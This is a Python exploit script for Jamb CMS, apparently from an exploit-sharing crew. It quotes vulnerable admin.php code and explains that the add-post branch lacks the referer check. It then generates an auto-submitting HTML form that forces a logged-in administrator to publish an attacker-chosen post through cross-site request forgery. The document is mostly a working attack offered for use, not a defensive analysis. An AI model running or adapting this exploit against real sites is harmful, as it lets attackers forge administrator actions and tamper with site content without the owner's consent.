#!/usr/bin/python
#########################################################
#  ____                      ___              __      __                                            
# /\  _`\                 __/\_ \           /'__`\   /\ \                                           
# \ \ \/\ \    __  __  __/\_\//\ \     ___ /\ \/\ \  \_\ \     __         ___  _ __   __  __  __  __
#  \ \ \ \ \ /'__`\\ \/\ \/\ \\ \ \   /'___\ \ \ \ \ /'_` \  /'__`\      /'___\\`'__\'__`\\ \/\ \/\ \
#   \ \ \_\ \\  __/ \ \_/ | \ \\_\ \_/\ \__/\ \ \_\ \\ \L\ \/\  __/     /\ \__/ \ \/\  __/ \ \_/ \_/ \
#    \ \____/ \____\ \___/ \ \_\\____\ \____\\ \____/ \___,_\ \____\    \ \____\ \_\ \____\ \___x___/'
#     \/___/ \/____/\/__/   \/_//____/\/____/ \/___/ \/__,_ /\/____/     \/____/\/_/\/____/\/__//__/
#
# Crew Members: bl3ck, stoke, Shellcoder_, n1md4, sys.x4sh, Ax3L, s1y, LostPassword, nex & overmind
#
#
# Author: stoke
#
#
#
#
# Jamb CMS CSRF Arbitrary add a post
#
# Jamb can be downloaded here: http://darkjoker.sytes.net/archives/jamb.zip
#
# Let's see the bugged code:
# ---- snip from admin.php -----
"""
if ($_GET ['act'] && is_logged () && intval ($_GET['id']) && preg_match ("|http://".$_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF'])."|",$_SERVER['HTTP_REFERER'])) {
    $id=intval ($_GET['id']);
    switch ($_GET['act']) {
        case 'del':
            $query = "DELETE FROM articles WHERE id = '{$id}'";
            mysql_query ($query) or die ("Please edit functions.php!");
            $query = "DELETE FROM comments WHERE pid = '{$id}'";
            mysql_query ($query);
            header ("Location: index.php");
            die ();
            break;
        case 'edit':
            $newtitle = htmlentities (mysql_real_escape_string ($_POST['newtitle']));
            $newart = mysql_real_escape_string ($_POST['newart']);
            if (!$newtitle || !$newart) {
                $query = "SELECT * FROM articles WHERE id = '{$id}'";
                $res=mysql_query ($query);
                $row=mysql_fetch_row ($res);
                if (!$row[0])
                    die ("Wrong ID");
                $row[1]=stripslashes($row[1]);
                $row[2]=stripslashes ($row[2]);
                echo    "<form action = 'admin.php?act=edit&id={$id}' method = 'POST'>\n".
                    "Title: <input name = 'newtitle' value = '{$row[1]}'><br>\n".
                    "<textarea rows=30 cols=100 name='newart'>{$row[2]}</textarea><br>\n".
                    "<input type = 'submit' value = 'Edit'><br>\n".
                    "</form>\n";
                    $a=false;
            }
            else {
                $query = "UPDATE articles SET title='{$newtitle}', body='{$newart}' WHERE id = '{$id}'";
                mysql_query ($query);
                header ("Location: index.php");
                die ();
            }
            break;
        case 'delc':
            $query = "DELETE FROM comments WHERE id = '{$id}'";
            mysql_query ($query);
            header ("Location: index.php");
            die ();
            break;
        case 'editc':
            $newuname = htmlentities (mysql_real_escape_string ($_POST['newuname']));
            $newcomm = htmlentities (mysql_real_escape_string ($_POST['newcomm']));
            if (!$newuname || !$newcomm) {
                $query = "SELECT * FROM comments WHERE id = '{$id}'";
                $res = mysql_query ($query);
                $row = mysql_fetch_row ($res);
 
                if (!$row[0])
                    die ("Wrong ID");
                $row[2]=stripslashes ($row[2]);
                $row[3]=stripslashes ($row[3]);
                echo    "<form action = 'admin.php?act=editc&id={$id}' method = 'POST'>\n".
                    "Author: <input name = 'newuname' value = '{$row[2]}'><br>\n".
                    "<textarea rows=10 cols=25 name = 'newcomm'>{$row[3]}</textarea><br>\n".
                    "<input type = 'submit' value = 'Edit'><br>\n</form>\n";
                $a=false;
            }
            else {
                $query = "UPDATE comments SET author='{$newuname}', comment='{$newcomm}' WHERE id='{$id}'";
                mysql_query ($query);
                header ("Location: index.php");
                die ();
            }
            break;
        default:
            break;
    }
}
 
if (is_logged () && $a) {
    $title = htmlentities (mysql_real_escape_string ($_POST['title']));
    $art = mysql_real_escape_string ($_POST['data']);
    echo $title . " ".$art;
    if (!$title || !$art) {
        echo    "<form method = 'POST'>\n".
            "Title: <input name = 'title'><br>\n".
            "<textarea rows=30 cols=100 name = 'data'></textarea><br>\n".
            "<input type = 'submit' value = 'Send'><br>\n".
            "</form>\n";
    }
    else {
        $query = "INSERT INTO articles (title,body,date) VALUES ('{$title}','{$art}','".time()."');";
        mysql_query ($query);
        header ("Location: index.php");
        die ();
    }
}
"""
# ---- end snip ----
#
# How you can see, only the "act" part of code has the referer checked, this is useful (for us).
# We can exploit this issue by sending a specially .html file to the admin when he/she is logged.
#
# I write a little script for do this
 
 
from sys import argv
 
if len(argv) < 4:
    print "Usage: ./exploit.py <url_with_jamb_dir> <title> <content_of_post>"
    quit()
     
print ".:[Jamb CMS CSRF Arbitrary add post exploit]:.\n\n"
url = argv[1]
title = argv[2]
content = argv[3]
print "[+] Preparing the exploit"
skeleton = """
<body onload="document.getElementById('1').submit()">
<form method="POST" id="1" action="%s/admin.php">
<input type="hidden" name="title" value="%s">
<input type="hidden" name="data" value="%s">
</form>""" % (url, title, content)
enc = skeleton
print "[+] Writing the exploit"
fd = file("exploit.html", "w")
fd.write(enc)
fd.close()
print "[+] Done, check exploit.html"